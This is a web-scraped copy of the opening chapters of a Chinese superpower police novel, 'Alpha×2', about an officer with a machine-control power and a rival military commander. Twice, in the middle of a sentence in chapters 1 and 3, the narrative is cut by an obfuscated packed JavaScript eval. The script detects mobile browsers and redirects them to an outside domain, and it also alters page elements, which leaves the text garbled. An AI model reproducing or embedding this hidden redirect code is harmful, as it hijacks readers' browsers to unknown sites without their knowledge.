《Alpha×2》 1. 第 1 章 雨下得像消防栓爆炸了。 季长岁开着警车飞速疾驰在城区街道,路边的限速牌上写着“60”,他的仪表盘上显示车速“131”。 车轮溅起的水幕打在路边成堆的垃圾上,两侧商铺的玻璃无一幸免被砸碎,他扶着方向盘持续给油。前面黑车改装过,马力和续航都强得可怕,季长岁已经很难追上。 大雨天道路状况不好,视野、路面以及……好的,现在前车的天窗打开了,里面逃犯爬上来并向他架起了枪。 持枪人在密集的雨幕中高声喊道:“这位警官,我们也不想的!你现在放过我们还来得及!!别逼我啊!!” 季长岁从容换左手扶方向盘,右手拿起副驾驶座椅上的Cadex R7的一部分,这把狙击步枪是被拆开的状态。 接着,他按下开启天窗键——车里只有他一个人,这场追击实在太艰难,对方火力很猛,只有他一直追到这里。 孤立无援的季长岁右手握紧枪柄,眨眼的时间而已,他瞳仁中似有光闪过,仅那么一瞬,左手从掌心到指尖涌出幽蓝的暗光,接着—— 他解开安全带拿起枪的同时,这把因长度太长而必须拆开才能搁在车里的步枪,它的枪身、枪托、弹匣、支架在触碰到彼此的瞬间,自动如磁吸般装载起来,季长岁从座位上一个利落的掌撑、踩座椅头枕,爬出天窗,然后架枪。 这晚暴雨如注,疾风肆虐。 昶州市里家家户户门窗紧锁,这座城市从前不似如此,可自从城里失控的异能者越来越多,大家主动宵禁,傍晚下班、放学后,人们很少外出娱乐。 加上借着这场大规模异能失控,有不少罪犯浑水摸鱼趁火打劫,导致昶州市陷入治安困境,于是季长岁从邻省被指派过来增援。 所以在这里,很少有人知道他的异能是——机械沟通。 此时此刻,空荡荡的驾驶座里,方向盘和油门如自动驾驶控制着车辆,Cadex R7在他的异能驱动下组装完成。 季长岁一身警服在雨幕里很快湿了个透,枪架支在车顶,他手掌按在车顶铁皮上,异能控制天窗关闭,这样他不至于要避开天窗的空洞。 警灯闪烁的频率光之中,季长岁单膝蹲下,子弹上膛。 对面枪法很明显逊色于他,也因为车辆高速移动加上这大雨,逃犯连开的几枪要么打了前档玻璃要么打了警灯。季长岁顺手把透湿的刘海向后捋,头微微侧倾瞄着准镜,露出的一截脖颈淌着雨水进衣领。 雨水、风速、主体移速,都会对枪械的准度造成影响。雨点疯狂往他脸上身上打,这时候要有耐心,他双手掌根到小臂手肘又一次微微涌现蓝光,微调了下枪口位置,果断而狠绝地开枪—— 没什么莫桑比克射击法,季长岁直接打头。 年轻的警官没有松懈,果然,车里的人将死者拽回车里后,果断又一人爬了出来,这次直接架了把机关枪准备扫射。 要知道这样的雨天,连目视都模糊,整个世界像是施加了散光滤镜。警官的发丝在风雨中凌乱地贴在额头眉角,皮肤在这疾风寒凉中被冻得略显苍白,但双眼依然锐利,被多管旋转机关枪指着也毫无波澜,听说机械类异能的人大多如此。 又一枪,准得吓人,直中面门。 季长岁清了清嗓子,按下肩膀对讲机:“昶州异能者管理局,南面要支援吗?我这边快搞定了。” 在轻微紊乱的电流里,他听见一道清晰而抓耳的声音,说:“昶州异能者管理局,南面峰骓大厦人质已经解救,暂时不用支援。” 季长岁星期一才刚调任来这里,并不清楚对讲里是谁。 连续击杀对方两人后,那车里的人终于意识到来者不善,决定开溜。对方车身和车轮都是特质改装,即便308口径温彻斯特弹都打不穿,季长岁在之前已经试过,于是接着追。 他既说自己快搞定了,那么就是快搞定。他又捋了下挡视线的刘海,左手手掌按在车顶。随着手掌与车顶相贴的皮肤上幽蓝色的暗光渐渐变浓,看不见的警车机械组件之中,异能驱使下,发动机正在被他疯狂压榨,半边损毁的警灯只有蓝色那盏在间断地亮。 季长岁半蹲在自己的车顶,冷冷盯着前车。 昶州市的居民们在这几个月里对警笛、飙车、枪声已然麻木。轮胎在积水路面上因刹车急转弯而剐出刺耳的声音,跟着他们转弯的同时,季长岁感知到自己这警车快要坚持不住,估计再有个一分钟左右就要爆缸。 他眯了眯眼,先将枪扛起来,接着在下一个路口的弯角,如蛰伏后暴起的大自然狩猎者,在两辆车并排过弯的瞬间,一跃至对方车顶。 轰隆一声,里面的人显然察觉到车顶不对劲,连续猛打方向企图把季长岁甩下去。下一刻,季长岁的发梢轻轻扬起,这次,连带他瞳孔都涌出蓝光,手掌在这辆车顶部按下去! 机械沟通是一项需要大量训练的异能。他接触过无数个多类型的机械造物,汽车、轮船、飞机,在警校中开始接触枪械、战车、战机。精密的机械会消耗他大量的精神力,Alpha不错的体能与长期高强度训练有效弥补了这一点。 这辆车比较麻烦,季长岁微微蹙眉,因为是非法改装,他不太熟悉,沟通探测能力在发动机部件之中卡壳。以及一些违法的零部件他需要点时间来分析。 还好,这没有耗费太多时间,约莫二十秒,发动机被季长岁熄火。 里面的驾驶员在这秋冬雨夜出了一脑门子汗,他车里有两具同伙的尸体,一个早就吓呆的副驾驶,他哆嗦着快要抽筋的手紧紧握着方向盘。 接着,他眼睁睁看着那人从车顶来到前引擎盖前,首先入目的是一双腿,因为大雨湿透了而黏在皮肤上。成年男性Alpha半蹲下来,眼神像看城市下水口的啮齿动物。 “下车。”季长岁说。 “……”司机紧咬牙关,拼命地启动车子。然而除了动力不足的声音和车身抽搐般的抖动之外,什么都没有发生。 季长岁不想等了,他的耐心已经到头,随即端起狙击枪,枪口贴在玻璃上。他在熄火过程中探测到了,前边这块是普通车用玻璃。 “嘭——!” 恐怖的后座力没有让季长岁挪动半寸。 “你,下车。”季长岁看向副驾驶。 那副驾驶几乎是从车里手脚并用爬出去的,甚至还在马路与人行道之间的水沟里爬行了一会儿,如同生物退化。 季长岁还站在引擎盖上,他偏头听了听,有警笛声。 他再次按下对讲机,顺便瞟了眼马路边最近一间商铺的门牌,说:“綦青东路24号,击毙毒贩三人,一人被捕。” “收到,季长官,我们还有5分钟左右抵达。”这次说话的人他认得,是管理局的小何。 季长岁垂眼看了看地上爬行那人,已经扶着一盏碎了的路灯颤颤巍巍站了起来。这群毒贩并不是通俗意义上“失控”的异能者,只不过近期特殊原因,只要是异能者犯罪都是管理局来处理。 头顶有直升机赶过来,探照灯安插在射程可观的冲锋枪上。季长岁抬头看了看它,从机舱里伸出绳梯,有几个穿军装的人握着绳梯落下来,落在近处的大楼楼顶。 季长岁收回视线,扶着路灯的逃犯终于站直。于是季长岁走过去,靴子踏在积水上,说:“你与你同伙涉嫌走私贩卖违禁品,现依法对你进行逮捕。” 话刚说完,他面前这股战而栗的毒贩哆哆嗦嗦地从后腰掏出一把手枪,指着他脑袋,同时嘴巴里发出“呃呃呃”的声音,像没有语言能力。 季长岁迎枪上前几步,疾速偏头躲闪的同时,单手钳其手腕,向外侧一折。“咔!”骨头裂开的声音,伴随着惨叫声,男人跌躺下去表情痛苦而扭曲,在地上捂着手。枪砸在地面,雨点噼里啪啦打上去。 季长岁弯腰从水洼里捡起枪,甩甩水拎在手里,居高临下:“蠢货。” 路面积水倒映着Alpha比例优秀的身材,綦青东路另一端驶来的两台警车在他身侧停下,所有人都冒着雨,小何一下车就匆匆跑到他旁边来。 “哥,你没事儿吧?”小何看看地上吱哇乱叫的人,再看看季长岁。季长岁点头:“没事儿,我看有直升……” 他话还没说完,便听见旁边大楼倏地迸发出震天巨响,那响声是音乐,重金属摇滚乐。季长岁被吓一跳,整个人绷了下,瞬间转头看过去—— 就是刚刚直升机里几个军人降落的大楼,大楼里所有窗户都只有窗框没有玻璃,季长岁初来乍到还没见识过这场面。他纳闷,这干嘛呢?逮着毒贩了现场蹦迪庆祝一下?昶州市这么不一样? 只见小何手忙脚乱地从裤兜里掏出两个巴掌大的小袋子,塞给季长岁一个,然后比划了两下耳朵。季长岁低头,一对耳塞,他拆出来塞进耳朵里。 耳塞应该是特制的,没有完全阻隔声音,但是戴上之后让季长岁松了一口气的程度。 小何苦笑了下,指了指大楼,因为知道他能看懂唇语,没必要掏手机出来给他打字,小何就直接说:“里面那个是失控异能者,这个街区都没人住了,他的异能是音乐,一旦失控就像现在这样。” 季长岁点点头,这条街一楼商铺的玻璃门窗和路灯大概都是被声浪震碎的。 不过这种类型的异能能有杀伤力吗……到此时,季长岁还纯良地以为这种异能只是在这方面比较狂热,比如现在,里面的异能者在大肆放音乐。 下一刻,他眼睁睁看着一个军装男人从窗口被震出来。大雨里他像一片被人从窗户扔出来的餐巾纸,季长岁愣了下,还没完,里面从重金属摇滚切换成了大提琴独奏,被震出来的军人像餐巾纸那样开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——原本特殊作战部部长应该是自己,但桃榔市月初出现一个爆破异能的失控者,他没能第一时间赶过来任职。然而桃榔警局和军队都是来支援的,一碗水要端平,可时下管理局兵荒马乱,几个领导啃着指甲挠破头终于挖出来个职位给季长岁。 周观逸做了特殊作战部部长,那就让季长岁做特战警队执行官。 这么敲定之后,局里领导自封天才——这不恰好延续了这二人原本的职位吗!而且军警联合,军警一家亲! 不过很快,第一个问题就来了。 周观逸作战小队从大楼羁押着失控者出来,迈着平稳的步子顶着雨走到小何面前。季长岁知道他要说什么,小何是资料员,收容的失控异能者都要在他这里做记录。 记录内容自然是失控者资料,以及收容者。 换个更直白的称谓,那也叫立功者。 这就是第一个问题——有竞争是好事儿,但异能者失控是近几个月才发生的事件,异能者管理局也是最近才加了个“失控”前缀。所以管理局中现有的规则是,作战部面对特定事件,警队的范围则更大。 就像今天,季长岁追捕毒贩,周观逸去解决失控异能者。那么同样是异能者事件,季长岁这儿就无法进入失控异能者收容数据。通俗来讲,也就是“刷不到人头”。 “声波异能失控。”周观逸拽下面罩,跟小何说,“由作战部收容。” 季长岁偏过些脸,是之前对讲机里的声音,现实中听果然很抓耳,在雨势中被弱化了些。 他先打量了下失控者,染了浅金色头发的细瘦男人,双手被铐,两眼无神,如行尸走肉。小何拿平板电脑记下来,笑眯眯地说:“辛苦了周部长,啊对了,介绍一下,这位是管理局特战警队的季警官。” 原本在默默收敛气息准备下班回家的季长岁唰地转过头,发梢甚至甩了几滴雨珠子出去。他清清嗓子,率先伸手:“您好,季长岁。” 表示友好总没错,毕竟是同事。 周观逸的手已经探过来一半,又收回去。 ……季长岁哑然,手就这样尴尬地悬停在这儿。等一下,大家都是成年人,而且我们是良性竞争,你看起来也参军不少年了吧,大庭广众这么不给面子? 结果周观逸只是摘下手套,旋即,雨中两只冰凉湿漉漉的手握在一起。 “周观逸。”他自我介绍,“异能是净化异能。” 季长岁陡然瞳仁一紧。 他明白了。小何说的“净化异能”是一个整体,季长岁从他手腕看向他脸,这人的异能,是暂时净化掉别人的异能。 靠。他仔细端详起周观逸的脸。 蛮帅的。 2. 第 2 章 “季警官!”有同事叫他,“拖车来了,我们准备收工了。” “来了。”季长岁松开周观逸的手,“那个、我先过去了。” “好的,辛苦。”周观逸说完,用力拧了拧手套,重新戴上。二人片刻不留,分头去处理自己的事情。 毒贩的车需要带回去处理,季长岁过去扶住车的A柱,稍一施力,车在发动机未启动的情况下,各部件被异能驱动着运行,移动到拖车尾板,再从尾板上去后挂。 他没发现周观逸回头看了自己一眼。机械沟通并不是非常稀有的异能,但在异能者数据库里,90%的机械类异能者顶天了能开个锁,像季长岁这样轻松驱动一辆汽车的少之又少,最起码,他是周观逸亲眼见到的第一个。 警员们完成收尾工作后,季长岁随便上了辆警车回管理局。今晚他不打算回家,在办公室的休息间凑合一宿。二十多分钟后,警员将季长岁放在管理局正门口。 “您今晚住局里吗?”警员顺嘴问了下。 季长岁解开安全带,点头:“嗯,快两点了,回去也就睡几个小时,而且还要写报告。” 事实上他是忘了管理局给安排的公寓在哪儿…… 但这不能问,太拉不下面子。 况且两天前他才刚刚在局里黑过脸。 季长岁清清嗓子,咳嗽了声,跟警员说:“辛苦了,再见。” “再见,警官。” 下车后,季长岁顶着风雨走进大楼,刷卡按电梯。 他眉眼隐在警帽檐压下的一小片影子里,下颌骨轮廓清晰利落,残留的雨珠沿着下颌线落去地面。有部分学者认为,就像人们的信息素会与其性情有所关联,异能也会在某些方面反映其人特性。 季长岁从前常被评价像个机器人。他与所有人维持的社交礼仪都是顺应着社会伦理——譬如主动与周观逸握手,因为同事之间会表达友好,所以他也这么做,仅此而已。 电梯在11楼打开。三个人站在门外端着咖啡嬉笑着,转头一看电梯里站着浑身透湿的季长岁,三人瞬间变脸,肃然站直,齐声道:“季警官。” 季长岁稍一点头,主动向左边站了站。他身上带着外头潮湿的寒气,都快把他们手里的热咖啡冻上了,三人进来后没有按自己的楼层,安静地等着到了16楼后,在季长岁出去前说了“警官再见”,才去按15楼。 三人同步松了口气,你看看我我看看你,其中一个吐了吐舌头。 其实他们都很难说季长岁是个“森冷”的人,他并没有刻意表现得很疏离,可他站在那儿就是会让人紧绷起来。 休息间没有睡衣,季长岁冲完澡后只能换另一套警服。他的休息间和办公室在走廊上一墙之隔,但还是将衬衫妥帖收进裤腰,纽扣全部系好。 季长岁正要去办公室把今天的报告写了,这时从走廊楼梯口那边儿急吼吼跑来一个警员。 警员连喘带喊:“警官!出事了!那毒贩是致幻异能!已经失控了!!” 季长岁听完居然先笑了出来。 三分钟后,季长岁拿一把改良了枪口的TTI Gen-12,腰上左右各挂一把经典咏流传的Glock 34,护目镜贴遮光膜。对付致幻异能者需要穿特制的防护装,略微臃肿,防护面罩装有空气过滤装置,加上有色护目镜,只能依靠衣服的肩章和胸口名牌辨认来者何人。 “哥!”小何迎上来后跟在他旁边,边走边说,“异能者名叫赵胜,男性Beta,送来的时候做异能检测是‘无’,哥……我还没见过临时觉醒异能的人,更何况刚觉醒就失控。” “现在谁在审讯楼里?”季长岁问。 “周部长过来了。” 季长岁加快脚步。 管理局审讯大楼4楼,季长岁推开楼梯间安全门。 走廊灯光电压不稳明灭闪烁,季长岁给无战斗力的小何做了个停止的手势,示意他不要跟上来。 致幻异能是精神类攻击,它到极致就是精神控制,前些年季长岁在桃榔看过控制别人去跳海的旧案。不过那是个案,从概率和自己的运气来看,季长岁相信这个赵胜只是个普通致幻等级。 十来个同样穿着防护装的警员肃立于走廊,等待指令。 季长岁的视线平静地从第一个警员依次扫过去,同样的,别说他们全副武装,即便每个人都露着整张脸并佩戴个胸牌写自己是哪个部门的谁,季长岁也分不出他们谁是谁。 外边又起一道雷声,季长岁站定在最后一名警员面前。 没有那个人——方才狂奔到他办公室门口喊他来审讯楼的那个警员。他确实不记得那个警员的脸,更不知道他名字,但从身形上看,他能够确定,那警员此时此刻不在这里。 季长岁明白,“致幻”的可怕之处并不是像毒蘑菇使人产生幻觉而无差别攻击,而是放大并利用目标的欲望,使其失去判断力。也就是蒙蔽。 譬如最近季长岁最在乎的事情是他们“桃榔组”警员的成绩,继而微妙的,他的竞争对手就是特殊作战部那位部长。所以被提醒“部长已经过去了”之后就猴急地穿上装备赶过来,以至于—— 其实雨早已没那么大了。 那么,从那里开始是幻象? 季长岁呼吸,然后将枪反背去背后,接着摘下右手手套的同时扯下面罩。旁边警员大呼“长官别——!” 随着“别——”这个字变成扭曲到诡异的悠长音调,季长岁右手贴在警员手臂上的探照灯。他是绝对的高阶异能者,机械沟通从一块纽扣电池到一艘万吨级的远洋货轮易如反掌,但这只普通探照灯里,他感知不到任何机械部件。 致幻是精神类异能,所以需要精神力去打破,或者更精准些,是挣脱。 要挣脱这幻境,如同从梦中把自己推醒。 季长岁再一睁眼—— “嘀。” 悬在走廊窗台上的一滴雨水落进窗框的缝隙,季长岁将护目镜扯下来耷拉在脖子上。大约是雨停之后有人推开一半窗户透透新鲜空气,季长岁低头,手里握着旁边盆栽树的一根枝桠。枝桠上有淡淡的蓝色幽光,只眨眼的空隙就消失了,那是季长岁异能的残留效果。 刚刚在幻象影响下,他以为自己抓住警员的探照灯,其实抓了个树枝……那么对着一根树枝驱动机械异能,确实是感知不到任何东西。 季长岁把树枝放进花盆里,脱掉累赘的防护装——他虽是第一次真的陷入致幻异能的幻象中,但此前接受过训练,最快的一次是55秒挣脱幻境。 可以想见这个赵胜是有点东西,季长岁将防护装靠墙搁在地上,拿起枪。他走到审讯C区07号审讯室门口,握住门把推开。里面四个警员七倒八歪地在椅子上地上,赵胜跑了。 季长岁咬了咬后槽牙,刚转身走出来,走廊上咣咣响着一列军靴小跑过来的声音。周观逸带了几个部下,见季长岁单枪匹马,稍有些意外,问:“警官,里面怎么样?” “人跑了。”季长岁瞄了眼走廊摄像头,“不用查了,监控断了。” 他对机械装置非常敏锐,如果是比较简单的构造,甚至不需要触摸。周观逸说:“那我们先搜楼。” “等等。”季长岁稍微换了个眼神,让自己看起来比较真诚,他看向周观逸,“部长,你要是信得过我的话…我大约4分钟前遭到致幻影响,我猜测跑去我办公室喊我的那警员就是赵胜,只不过我先一步被致幻,没能辨认出来。” 周观逸认真地点头,接着不多废话:“警官,您是第一个接触异能者的,您说,我做。” 这夜,季长岁的部下几乎全数追捕毒贩,紧急召回需要时间,更何况他们已经连续工作将近30小时。季长岁停顿了下,他看着周观逸,很是意外,这信任来得太突然。 突然归突然,季长岁没有多想,应机立断:“以管理局为圆心,封锁10公里内的街道,通知各辖区警员戒防,把赵胜的资料同步到所有军警设备,他不对劲,抓活的。” “明白。”周观逸点头。 赵胜很不对劲。走到楼梯间,小何半躺在那儿,嘴里还念叨着:“异能者名叫赵胜,男性Beta,送来的时候做异能检测……” 季长岁看了看他,欲言又止,原想把他拽起来叫他清醒一点,但现在委实一刻不能耽误,他一狠心跨过去了。 各部门响应的速度很快,几乎所有值班人员全部开始搜查。 两架直升机起飞,距离日出还有4个小时,直升机里各有一名“鹰眼”也叫做“观察员”,他们有卓绝的视力,加以训练后甚至能达到扫描的水准。 季长岁留了个心眼,上了直升机后,他转头跟周观逸说:“部长,你能不能留三个小队守在管理局里面,一支队看守地面,两支小队无缝巡逻地下的收容处。” 周观逸刚刚将长狙支起来,听见季长岁的话后,就近在机舱门口旁边找了个槽,将枪的支架卡住然后立刻用通讯器传达指令。 ……搞得季长岁有点坐立难安,虽然他此时此刻是蹲着的。 从职位上来讲他们是同级,周观逸大可以先问问他为什么要这么安排,是不是怀疑赵胜有躲藏在管理局的可能性,这招是不是他的调虎离山。甚至他先把枪给支好呢? 啥都不问啥都不说,光秃秃的“明白”俩字,然后直直看着自己。 “呃。”季长岁等着他在通讯器里说完话才出声解释,“那个、因为我的部下今天差不多都……” “我明白。”周观逸打断他,看着他眼睛,“特战警队搜查抓捕一天一夜了。” 直升机里观察员在不停驱动着异能,这个时间里他们只需要等待。直升机舱门打开,周观逸枪口向下。螺旋桨和空中气流风噪全部涌进来,季长岁眯了眯眼,因为他的头戴式收音机挂在脖子上,加上噪音,他没听清周观逸方才说了句什么。 “你刚才说……” “看到了!!!”驾驶舱里的观察者忽然高呼,“赵胜,男性Beta,锦高北路步行街里!” 季长岁把自己后背的枪一把抄过来,拽了拽速降绳索,说:“我追捕,你高位狙,尽量打下半身,我想要活口。” “了解。”周观逸点头。 跳下飞机之前,季长岁又看了眼他这把长狙。不晓得周观逸枪法如何,但这一枪下去估计即便打下半身,赵胜估计也只能保留横膈膜以上。 算了。他先跳了。 因为季长岁怀疑自己继续在这里跟他细细交代的话,他可能会误以为自己不敢跳,那季长岁接受不了。 飞行员悬停在步行街上空,找了个很好落地的空旷位置。和季长岁同步落地的还有另一家直升机里的警员,也是特战警队的,特战队下属分了好几个小组,但季长岁还没跟他们混熟。 “执行官。”战术通信耳机里传来对方的声音,执行官是比较正式的称呼,大多情况他被称作警官,“我是特战D组沈浪,我从步行街西面靠近进入。” 季长岁打开战术护目镜的热成像:“明白,继续靠近,尽量抓活的。” 抓活的很重要。季长岁实在想不通,一个小破毒贩 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地面,季长岁将15个警员速分三小队,分别搜查地面、商铺、走廊。空气里满是雨后潮气,二楼转弯,季长岁打头,枪口跟着视线同时动—— “嘭!” 季长岁从头盔里溜出的一缕头发晃了晃,不知是巧合还是什么,转弯过来的这家店门口堆放着旧家具和废纸盒,方才“嘭”一声从纸盒里蹦出来一个木质的小丑。 像是弹簧刚好松动了……后边警员“呼”了一声,说:“吓我一跳哎,这玩意儿还、还有彩带啊。” 迸出来的彩带也因为弹簧松动而不是从小丑的彩色卷毛上洒下来,动力只能支撑到腰部那个高度,显得这地方更加萧条。 “季警官?”耳机里是周观逸的声音。 季长岁抬手,裹着战术手套的指尖按下麦:“没事。” 昏暗的步行街二楼户外回廊上,这一米高的小丑咧着嘴边笑边摇晃,季长岁跟它四目相对,小丑的妆氧化褪色,可眼睛竟灼灼有神。 不知怎的,季长岁很想朝它脑门上来一枪。 “执行官!抓到了!!” 耳机里警员的声音将他理智拉回来,他一转头,询问:“在哪边?” “步行街南侧小路,执行官。” “押进最近的警车。”季长岁说。 说完,全部人向南侧撤离。他抬头看了眼直升机,果然,周观逸用速降绳跳了下来。 季长岁顿时心下犯嘀咕了,这是什么意思……来抢人头吗?不能够吧,他想,这位部长看起来对立功升职没有那么强烈的欲望啊…… 警灯交错,和地面积水里的倒影加倍交错,搞得季长岁有点眼睛发胀。他朝警车里看了一眼,赵胜坐在后排瑟缩着,被两个警员夹在中间。 沈浪在季长岁旁边,他拿上了扼制异能的手铐。季长岁刚要接过来,想了想,这手铐说是扼制异能,但实际作用是吸收异能。它的作用有点像强行嘲讽,让异能者的目标无论是谁,都对向它。 但问题是,这手铐的吸收量是有限的。季长岁:“不用,那个…你叫那个部长过来一下。” “好。”沈浪不问缘由,收起手铐转头去找周观逸。 周观逸正站在小何对面跟他说着什么。季长岁这一看,把沈浪拦下来:“不用了我自己去。” 哇这周部长?季长岁心道,这太荒谬了,小学生在抢奖状吗——况且你今天不是已经有一张了吗!? 他加快脚步,摘下头盔和口罩拎在手里,迈过凌乱的各种光线和嘈杂的人声。他们对话的声音愈发清晰,季长岁听见小何点头确认了些什么,他蹙眉,继续走近…… “对,确实是突然觉醒的,我从未见过。”小何说。 接着是周观逸的声音:“……明白了,这件事情跟季警…” 周观逸转头,迎面一张帅得很有冲击力的脸:“季警官。” “啊。”季长岁点头,站定,看看小何看看周观逸,等下他姓什么来着,“部长,我有个请求,这赵胜情况太复杂,普通警员我怕出岔子,你跟我在警车后排押他回管理局可以吗?” 原来不是在抢奖状,等等这想法还是有点太幼稚,季长岁舔了下嘴唇,心虚地挤出一个微笑。 “好。”周观逸点头。 季长岁松了口气,两个身材绝佳的Alpha同时迈步向警车走去,笔直的两双腿,被战术背心勒出漂亮的腰背线条,这两人赏心悦目的程度放在秀场T台都不为过。 骤然,只见押着赵胜的警车忽然后排两侧车门被人快速从里面推开,两个警员几乎是蹦下车,大喊:“他没了!!” 季长岁不解:“什么叫没了!?” 警员语无伦次,连说带比划,俩手乱挥:“就是,他、他在里面忽然炸成一团烟雾了……消失了。” 说着说着,这警员自己都觉得荒谬。 “那边!!”有人指了一下马路。 因为追捕赵胜,这一带已经被封路,空空荡荡的路面上凭空“嘭、嘭”出现两团烟雾,一近一远,像过期的烟花。 “枪借我一下!”周观逸率先反应过来,伸手从季长岁腰上拔出手枪,转身对着那团烟按扳机。 然而没有枪响,周观逸哑然,端详着手枪。 方才情况太紧急,现下才觉得这枪的重量不太对劲,轻了些。 旁边季长岁从自己另一边腰挂上拿出弹夹,无力地解释:“我是警察,枪弹分离的。” 3. 第 3 章 赵胜就这样跑了。 在里三层外三层的看守之下,跑了。 “是…是我的问题。”季长岁捻了下手边的纸巾,拿起来擦掉嘴角的茶水。 管理局办公室里的茶不好喝,像是隔夜茶放进微波炉里叮两分钟端出来的,但又渴又饿的季长岁还是猛喝了一大杯。 太累了,累就算了,还一无所获,一无所获也算了,最后清算还不得不算到自己头上来。 副局之一的韩瑞“哎呀”了一声,手一挥:“不不,这怎么能说是你的问题呢!” 季长岁看了眼空杯子,几片可怜的茶叶挤在杯底,说:“沈浪建议我给赵胜戴上抑制手铐,我拒绝了,否则他未必能跑那么快。” 韩瑞啧啧摇头:“还是你接触的失控异能者太少了,那玩意……” 说着说着韩瑞压低声音:“……那玩意儿,别说失控的异能者了,但凡是个精神力强的都扼制不住。” 季长岁的视线从茶杯转移到韩瑞脸上:“韩局……” “小季。”韩瑞坐直了些,“你看,这里也没有外人,你这礼拜才刚过来,可能了解的还不够清楚。” 韩瑞的办公室里总共五个人。韩瑞、季长岁、周观逸、沈浪以及何书清。小何也是桃榔过来的,不过他比季长岁早来两个礼拜,捧着茶杯老实端坐。 确实没有外人,季长岁偷偷看了眼周观逸。他跟周观逸并排坐在韩瑞这办公桌对面,桌子两个边儿就坐着沈浪跟何书清。倏然,季长岁明白了,眼下这个情形就是管理局的势力分布。 来自桃榔的自己、小何,来自军方的周观逸、沈浪。管理局在中间做平衡。 季长岁对这里的了解确实不够多,他轻咳了一声,咽下一口莫名其妙的浊气,说:“您说吧。” “管理局在没有外援的情况下,武装力量几乎等于零。”韩瑞说。 季长岁一愣。 这话……未免直接过了头?这也太坦率了,这跟直接反掏裤兜说自己没钱有什么区别……季长岁没出声,不晓得怎么接话。 韩副局接着说:“昶州已经趋近于弹尽粮绝的状态,在过去半年里因抓捕失控异能者所付出的代价一直没有公开,因为无法公开,我们收容了600多个失控异能者,也损失了600多个优秀警员。” 季长岁在这个瞬间的想法很简单:要不要装作刚刚走神了其实什么都没听到?副局这种杀头的话你能不能掂量着点儿。 然后他静静地,在停滞了片刻后,轻轻转过头看向周观逸。他希望这位……这位姓什么来着的部长能理解自己的顾虑——我们俩都是外边来的,这时候猝不及防听见此等机密,等下还能活着走出这间办公室吗? 周观逸自然察觉到他视线,但他大概是在这方面比较迟钝,并不能读懂季长岁眼神里的意思,同时季长岁想要表达的信息也是太复杂。 “呃。”季长岁没有从周观逸这边获得什么反馈,于是讪笑着又看回韩瑞,“我可能大脑里残留了一些致幻后遗症,哈哈,要不今天就先到这里吧。” 韩瑞凝视他:“不必担心,季警官,这件事情你在未来不久会一一得知。昶州的人口密度太高,外来务工人员常年保持全国前三,房价物价也是显而易见,在昶州打拼不是件容易的事儿,我们在近半年里单单是保持社会稳定,对记录在册的异能者进行精密管控,向外一片和谐,所有变故都在掌控之中……直到我们真的撑不住了,所以,赵胜逃跑的事情并不赖你,那个所谓的‘扼制手铐’是两年前的设备,我敢保证,它有95%的可能性对赵胜来讲没有丝毫作用。” “……”季长岁再一次看茶杯,已经喝光了,没办法用喝水来缓解气氛。 然后旁边周观逸将他的茶杯推过来,那个盖着盖儿的,全国公务接待统一款式的白瓷杯子,说:“我还没喝,这给你喝吧。” “谢谢……”季长岁赶紧趁机转移话题,然而以他贫瘠的情商以及匮乏的表达,他转移的话题是…“部长,您这茶真不错,茶叶比我这杯多多了。” 坐桌那边的何书清绝望地闭上眼,再睁开,想制止一下自己长官的时候,周观逸先一步开口说话。 于是何书清重拾希望,暗暗指望着周部长无论如何你要把这场关门会议的主题拉回来…… “多吗?”周观逸朝他杯子里瞧来一眼,“喔,估计是因为你工作时间太长,茶叶放多了不好睡觉。” “原来如此。”季长岁赞许着点头。 什么跟什么。 怎么唠起嗑来了? 何书清假意咳嗽了一下,提醒他:“警官,季警官……” “啊?”季长岁几大口把周观逸那杯也喝干了,扭头,一脸迷茫。 ……何书清是完完全全了解他这位上司的——迟钝,情商低,在社交中解决问题的手段是逃避。并且转移话题的生硬程度堪比正骨时不慎拧断别人脖子,根本不管别人受得了受不了。 但是这位周部长为什么也顺着他的节奏唠下去了…? 何书清“呼”了一口,郑重其事地望着上司:“季警官,昶州市的情况并不乐观,而且这项事件必须保密——这里人口太多,是沿海一带的经济命脉,在全球异能者平衡协会察觉这里不对劲之前,我们要悄无声息地解决这些失控异能者。” 季长岁点头表示理解:“所以呢?” “这是目前昶州级别最高的秘密,警官,您还记得我们来之前桃榔市局长交待的事情吗,我们在昶州市所收容的所有异能者都将带回桃榔进行关押。但……那样是不行的。” 季长岁蹙眉:“凭什么。” 一旁周观逸憋了下笑,这警官还挺耿直。他看了眼被季长岁喝干的茶杯,弯腰去够摆在桌腿儿边上的开水壶。 “嘭。” 跟开香槟似的,周观逸拔掉瓶塞。 此时小何在解释:“因为太多了,警官。这里的失控异能者量一直没有公开一个数字,并不是公告上掩人耳目的‘目前尚未确定’而是起码还有两千人流窜在外。” 周观逸微微起身给两个茶杯里注满已经不太热的水。季长岁因过于震惊而忘记道谢:“……这么严重?为什么事前不说清楚?” 韩瑞适时加入谈话:“我们不能惊动协会。过于大量的失控异能者出现的话,协会将有权派他们的人来进行协助监管,那样从军事角度来看,对我们的国家不利。” 季长岁明白了,转而问道:“杨局长也不知道吗?” “你们杨局长和军方都不知道。”韩瑞看着他眼睛,“这件事情知道的人不超过十个,房间里已经坐五个了,季警官。” 事实上当下季长岁脑子里冒出来的是一张事后暗杀名单,名单十二卷卷卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749553|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有爷名。 “……好吧。”季长岁扬手闷掉一杯茶,杯子一放,抹嘴,“那我明白了,目前就这样吧,我会好好工作的您放心…” 说完,季长岁估摸着今天也就到这了,天都要亮了,于是起身打算走。 周观逸猜到大约没这么简单,他拎着壶,继续给季长岁喝光的这杯满上。 果然。 